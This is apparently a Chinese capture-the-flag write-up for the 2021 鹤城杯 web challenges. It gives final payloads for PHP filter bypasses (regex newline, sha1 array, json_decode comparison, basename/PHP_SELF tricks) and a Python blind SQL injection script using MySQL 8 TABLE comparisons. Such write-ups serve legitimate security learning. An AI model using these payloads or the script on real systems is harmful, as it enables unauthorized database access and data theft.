2021 鹤城杯
middle_magic
源码:
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";
if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if ($level_3->result == $result) {
echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{
die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}
}
else{
echo 'nonono!';
}
echo '<hr>';
}
?>
第一层
首先是得绕过正则匹配,这里用到了换行绕过,如果正则表达式没有使用多行模式(m),那么就存在被绕过的可能
然后是#
在参数里面并不会传递,需要被编码成%23
。
第二层
第二层考了老生常谈的哈希函数无法处理数组的特性,直接使用两个空数组绕过即可。
第三层
最后一层考了PHP中的json_decode()
函数返回的内容和字符串比较的漏洞,也不知道为啥,利用方式为0 == "string"
。
最终payload:
?aaa=pass_the_level_1%23%0Aa
admin[]=1&root_pwd[]=2&level_3={"result":0}
easy_sql_2
首先尝试弱密码username = admin,password = admin
能够成功登陆且没有然和有用内容返回,但是我们需要的是查询表里面的数据。
fuzz之后发现过滤了部分字符:
like union select insert delete alter create -- if handler file system show_source tables ; 空格
这里的关键是过滤了select
和;
这两个字符,只能够使用 mysql 8.0 版本新的命令table
进行盲注。
原理
TABLE
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
该命令相当于SELECT * FROM table_name
,example:
mysql> table users;
+----------+----------+
| username | password |
+----------+----------+
| John | 123456 |
| admin | abcdef |
+----------+----------+
2 rows in set (0.00 sec)
本题的思路就是利用TABLE
命令查询到的内容和构造的内容进行比较,比较的结果返回1或0,从而进行盲注,example:
mysql> select ('John','12345')<(table users limit 1);
+----------------------------------------+
| ('John','12345')<(table users limit 1) |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)
mysql> select ('John','123456')<(table users limit 1);
+-----------------------------------------+
| ('John','123456')<(table users limit 1) |
+-----------------------------------------+
| 0 |
+-----------------------------------------+
1 row in set (0.00 sec)
步骤
- 首先我们要知道库名
通过查 information_schema.schemata
表能知道数据库中所有的库
mysql> table information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def | mysql | utf8mb4 | utf8mb4_unicode_520_ci | NULL | NO |
| def | information_schema | utf8 | utf8_general_ci | NULL | NO |
| def | performance_schema | utf8mb4 | utf8mb4_unicode_520_ci | NULL | NO |
| def | sys | utf8mb4 | utf8mb4_unicode_520_ci | NULL | NO |
| def | ctf | utf8mb4 | utf8mb4_unicode_520_ci | NULL | NO |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
5 rows in set (0.01 sec)
可以看出一般情况下新建的数据库是在该表的第四行,而且每一行的第一个字段的值都是def
,因此构造:
('def','{flag+chr(ascii)}','~','~','~','~')>(table information_schema.schemata limit 4,1)
- 知道库名之后查询表名
通过查询mysql.innodb_table_stats
能知道数据库中对应所拥有的表。
mysql> table mysql.innodb_table_stats;
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
| ctf | users | 2021-09-16 10:44:38 | 2 | 1 | 0 |
| mysql | component | 2021-07-26 16:39:20 | 0 | 1 | 0 |
| mysql | gtid_executed | 2021-07-26 16:39:20 | 0 | 1 | 0 |
| sys | sys_config | 2021-07-26 16:39:21 | 6 | 1 | 0 |
+---------------+---------------+---------------------+--------+----------------------+--------------------------+
4 rows in set (0.00 sec)
这里首先查询库名的原因是这个表返回的字段是库名先,然后再表名,因此得先注出第一个字段(库名),才能注第二个字段(表名)。
('ctf','{flag+chr(ascii)}','2021-04-30 21:15:31',0,0,0)>(table mysql.innodb_table_stats limit 1,1)
- 最后是查数据
完整的EXP:
import requests
url='http://182.116.62.85:26571/login.php'
flag=''
for i in range(1,100):
for ascii in range(32,127):
# STEP 1:查库名
# data={"password":"admin","username":f"'/**/or/**/('def','{flag+chr(ascii)}','~','~','~','~')>=(table information_schema.schemata limit 4,1)#".replace(' ','/**/')}
# 查出表名为 ctf
# STEP 2:查表名
# data={"password":"admin","username":f"'/**/or/**/('ctf','{flag+chr(ascii)}','2021-04-30 21:15:31',0,0,0)>=(table mysql.innodb_table_stats limit 1,1)#".replace(' ','/**/')}
# 查出表名为 fl11aag
# STEP 3:查数据
select='(table ctf.fl11aag limit 1,1)'.replace(' ','/**/')
# data={"password":"admin","username":f"'/**/or/**/ascii(substr(({select}),{i},1))={ascii}#"}
response=requests.post(url,data=data)
# print(data,response.text)
# 注入成功的话会返回登陆成功,因此以success字符作为注入成功的标识
if 'success' in response.text:
flag+=chr(ascii)
print(flag)
break
if ascii==127:
exit(0)
EasyP
源码:
<?php
include 'utils.php';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
由于我们不知道$secert
变量的值,因此上面传guess
的参数是没用的,需要从下面入手。我们的目的是读取 utils.php 的内容来知道$serect
的值。
$_SERVER[‘REQUEST_URI’]
$_SERVER['QUERY_STRING']
和$_SERVER['REQUEST_URI']
在传输时不会url解码,而$_GET
,$_POST
会url解码,因此我们可以url编码绕过第二个正则表达式,即%73how_source
$_SERVER[‘PHP_SELF’]
$_SERVER['PHP_SELF']
表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关,即返回域名后面的内容
basename()
basename ( string $path [, string $suffix ] ) : string
给出一个包含有指向一个文件的全路径的字符串,本函数返回基本的文件名。
注意:该函数会去掉文件名开头的非ASCII值(%80—%ff)
如果是/index.php/utils.php/
,则$_SERVER['PHP_SELF']
返回/index.php/utils.php/
,即/index.php/utils.php
运行的是index.php
,但是basename()
获取到的是utils.php
最后是利用在utils.php/
后面加上%80
,然后在basename()
会被去掉这个原理去绕过第一个正则匹配。
example:
最终payload:
/index.php/utils.php/%80?%73how_source
Spring
这直接是一个Spring框架的CVE-2017-4971